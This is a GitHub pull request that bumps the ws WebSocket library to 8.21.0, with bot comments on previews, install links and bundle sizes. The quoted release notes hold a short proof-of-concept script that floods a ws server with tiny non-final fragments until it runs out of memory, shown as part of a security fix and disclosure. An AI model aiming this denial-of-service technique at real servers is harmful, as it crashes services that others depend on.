chore(deps): bump ws from 8.20.1 to 8.21.0

[dependabot]

Bumps ws from 8.20.1 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Commits

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• See full diff in compare view

[changeset-bot]

⚠️ No Changeset found

Latest commit: 990b7ef

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

[netlify]

✅ Deploy Preview for module-federation-docs ready!

Name	Link
🔨 Latest commit	990b7ef
🔍 Latest deploy log	https://app.netlify.com/projects/module-federation-docs/deploys/6a17b48afdfeeb0007b2e1b2
😎 Deploy Preview	https://deploy-preview-4740--module-federation-docs.netlify.app
📱 Preview on mobile	Toggle QR Code... Use your smartphone camera to open QR code link.
🤖 Make changes	Run an agent on this branch

---

To edit notification comments on pull requests, go to your Netlify project configuration.

[pkg-pr-new]

Open in StackBlitz

@module-federation/devtools

pnpm add https://pkg.pr.new/@module-federation/devtools@990b7ef

@module-federation/cli

pnpm add https://pkg.pr.new/@module-federation/cli@990b7ef

create-module-federation

pnpm add https://pkg.pr.new/create-module-federation@990b7ef

@module-federation/dts-plugin

pnpm add https://pkg.pr.new/@module-federation/dts-plugin@990b7ef

@module-federation/enhanced

pnpm add https://pkg.pr.new/@module-federation/enhanced@990b7ef

@module-federation/error-codes

pnpm add https://pkg.pr.new/@module-federation/error-codes@990b7ef

@module-federation/esbuild

pnpm add https://pkg.pr.new/@module-federation/esbuild@990b7ef

@module-federation/managers

pnpm add https://pkg.pr.new/@module-federation/managers@990b7ef

@module-federation/manifest

pnpm add https://pkg.pr.new/@module-federation/manifest@990b7ef

@module-federation/metro

pnpm add https://pkg.pr.new/@module-federation/metro@990b7ef

@module-federation/metro-plugin-rnc-cli

pnpm add https://pkg.pr.new/@module-federation/metro-plugin-rnc-cli@990b7ef

@module-federation/metro-plugin-rnef

pnpm add https://pkg.pr.new/@module-federation/metro-plugin-rnef@990b7ef

@module-federation/metro-plugin-rock

pnpm add https://pkg.pr.new/@module-federation/metro-plugin-rock@990b7ef

@module-federation/modern-js

pnpm add https://pkg.pr.new/@module-federation/modern-js@990b7ef

@module-federation/modern-js-v3

pnpm add https://pkg.pr.new/@module-federation/modern-js-v3@990b7ef

@module-federation/native-federation-tests

pnpm add https://pkg.pr.new/@module-federation/native-federation-tests@990b7ef

@module-federation/native-federation-typescript

pnpm add https://pkg.pr.new/@module-federation/native-federation-typescript@990b7ef

@module-federation/nextjs-mf

pnpm add https://pkg.pr.new/@module-federation/nextjs-mf@990b7ef

@module-federation/node

pnpm add https://pkg.pr.new/@module-federation/node@990b7ef

@module-federation/observability-plugin

pnpm add https://pkg.pr.new/@module-federation/observability-plugin@990b7ef

@module-federation/retry-plugin

pnpm add https://pkg.pr.new/@module-federation/retry-plugin@990b7ef

@module-federation/rsbuild-plugin

pnpm add https://pkg.pr.new/@module-federation/rsbuild-plugin@990b7ef

@module-federation/rspack

pnpm add https://pkg.pr.new/@module-federation/rspack@990b7ef

@module-federation/rspress-plugin

pnpm add https://pkg.pr.new/@module-federation/rspress-plugin@990b7ef

@module-federation/runtime

pnpm add https://pkg.pr.new/@module-federation/runtime@990b7ef

@module-federation/runtime-core

pnpm add https://pkg.pr.new/@module-federation/runtime-core@990b7ef

@module-federation/runtime-tools

pnpm add https://pkg.pr.new/@module-federation/runtime-tools@990b7ef

@module-federation/sdk

pnpm add https://pkg.pr.new/@module-federation/sdk@990b7ef

@module-federation/storybook-addon

pnpm add https://pkg.pr.new/@module-federation/storybook-addon@990b7ef

@module-federation/third-party-dts-extractor

pnpm add https://pkg.pr.new/@module-federation/third-party-dts-extractor@990b7ef

@module-federation/treeshake-frontend

pnpm add https://pkg.pr.new/@module-federation/treeshake-frontend@990b7ef

@module-federation/treeshake-server

pnpm add https://pkg.pr.new/@module-federation/treeshake-server@990b7ef

@module-federation/typescript

pnpm add https://pkg.pr.new/@module-federation/typescript@990b7ef

@module-federation/utilities

pnpm add https://pkg.pr.new/@module-federation/utilities@990b7ef

@module-federation/webpack-bundler-runtime

pnpm add https://pkg.pr.new/@module-federation/webpack-bundler-runtime@990b7ef

@module-federation/bridge-react

pnpm add https://pkg.pr.new/@module-federation/bridge-react@990b7ef

@module-federation/bridge-react-webpack-plugin

pnpm add https://pkg.pr.new/@module-federation/bridge-react-webpack-plugin@990b7ef

@module-federation/bridge-shared

pnpm add https://pkg.pr.new/@module-federation/bridge-shared@990b7ef

@module-federation/bridge-vue3

pnpm add https://pkg.pr.new/@module-federation/bridge-vue3@990b7ef

@module-federation/inject-external-runtime-core-plugin

pnpm add https://pkg.pr.new/@module-federation/inject-external-runtime-core-plugin@990b7ef

commit: 990b7ef

[github-actions]

Bundle Size Report

11 package(s) changed, 30 unchanged.

Package dist + ESM entry

Package	Total dist (raw)	Delta	ESM gzip	Delta
@module-federation/cli	26.3 kB	no change	786 B	no change
@module-federation/core	39.1 kB	no change	173 B	no change
@module-federation/devtools	664.0 kB	no change	4.0 kB	no change
@module-federation/enhanced	807.9 kB	no change	672 B	no change
@module-federation/managers	69.8 kB	no change	334 B	no change
@module-federation/manifest	136.1 kB	no change	182 B	no change
@module-federation/metro-plugin-rnc-cli	0 B	no change	314 B	no change
@module-federation/node	193.4 kB	no change	217 B	no change
@module-federation/runtime	20.0 kB	+13 B (+0.1%)	715 B	no change
@module-federation/storybook-addon	77.9 kB	no change	100 B	no change
@module-federation/utilities	110.6 kB	no change	328 B	no change

Bundle targets

Package	Web bundle (gzip)	Delta	Node bundle (gzip)	Delta
@module-federation/cli	2.3 kB	-34 B (-1.4%)	2.3 kB	-34 B (-1.4%)
@module-federation/core	1.1 kB	-33 B (-2.9%)	1.0 kB	-32 B (-3.0%)
@module-federation/devtools	30.2 kB	-28 B (-0.1%)	30.2 kB	-28 B (-0.1%)
@module-federation/enhanced	2.6 kB	-46 B (-1.7%)	2.6 kB	-46 B (-1.7%)
@module-federation/managers	2.4 kB	-28 B (-1.1%)	2.4 kB	-28 B (-1.1%)
@module-federation/manifest	6.1 kB	-41 B (-0.7%)	6.1 kB	-41 B (-0.7%)
@module-federation/metro-plugin-rnc-cli	411 B	-26 B (-5.9%)	411 B	-26 B (-5.9%)
@module-federation/node	9.2 kB	-29 B (-0.3%)	9.2 kB	-29 B (-0.3%)
@module-federation/runtime	687 B	no change	687 B	no change
@module-federation/storybook-addon	1.9 kB	-24 B (-1.2%)	1.7 kB	-23 B (-1.3%)
@module-federation/utilities	2.6 kB	-33 B (-1.2%)	2.6 kB	-33 B (-1.2%)

Consumer scenarios

Scenario	Web output (gzip)	Delta	Node output (gzip)	Delta	Gap (node-web)	Delta
Enhanced remoteEntry	21.4 kB	-13 B (-0.1%)	22.5 kB	-7 B (-0.0%)	+1.1 kB	+6 B

Total dist (raw): 6.79 MB (+13 B (+0.0%))
Total ESM gzip: 76.6 kB (no change)
Total web bundle (gzip): 205.4 kB (-322 B (-0.2%))
Total node bundle (gzip): 205.9 kB (-320 B (-0.2%))
Tracked ./bundler entry gzip: 556 B (no change)
Tracked ./bundler web bundle (gzip): 4.8 kB (no change)
Tracked ./bundler node bundle (gzip): 4.8 kB (no change)

Bundle sizes are generated with rslib (Rspack). Package-root metrics preserve the historical report. Tracked subpath exports such as ./bundler are measured separately so ENV_TARGET-driven tree-shaking is visible. Bare imports are externalized to keep package-level sizes consistent, and assets are emitted as resources.

[gioboa]

This is solving this vulnerability issue.

c0327ec [security] Fix uninitialized memory disclosure in websocket.close()

cc @2heal1